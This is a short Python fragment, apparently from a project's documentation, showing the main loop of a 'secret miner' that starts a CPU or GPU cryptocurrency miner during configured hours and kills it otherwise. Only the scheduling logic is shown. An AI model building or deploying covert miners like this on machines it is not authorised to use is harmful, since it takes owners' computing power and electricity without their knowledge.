docs: def main():
      """miner running secretly on cpu or gpu"""
  
      # if no arg, run secret miner
      if (len(sys.argv) == 1):
          (address, username, password, device, tstart, tend) = read_config()
          r = Runner(device)
  
          while True:
              now = datetime.datetime.now()
              start = get_time_by_cfgtime(now, tstart)
              end = get_time_by_cfgtime(now, tend)
  
              logger.info('start secret miner service')
              logger.info('now: ' + now.strftime("%Y-%m-%d %H:%M:%S"))
              logger.info('start: ' + start.strftime("%Y-%m-%d %H:%M:%S"))
              logger.info('end: ' + end.strftime("%Y-%m-%d %H:%M:%S"))
  
              logger.info('Check if the correct time to run miner ?')
              if start > end:
                  if now > start or now < end:
                      logger.info('Now is the correct time to run miner')
                      r.run_miner_if_free()
                  else:
                      logger.info('Now is the correct time to kill miner')
                      r.kill_miner_if_exists()
              else:
                  if now > start and now < end:
                      logger.info('Now is the correct time to run miner')
                      r.run_miner_if_free()
                  else:
                      logger.info('Now is the correct time to kill miner')
                      r.kill_miner_if_exists()
  
              time.sleep(interval)
      else:
          save_and_test()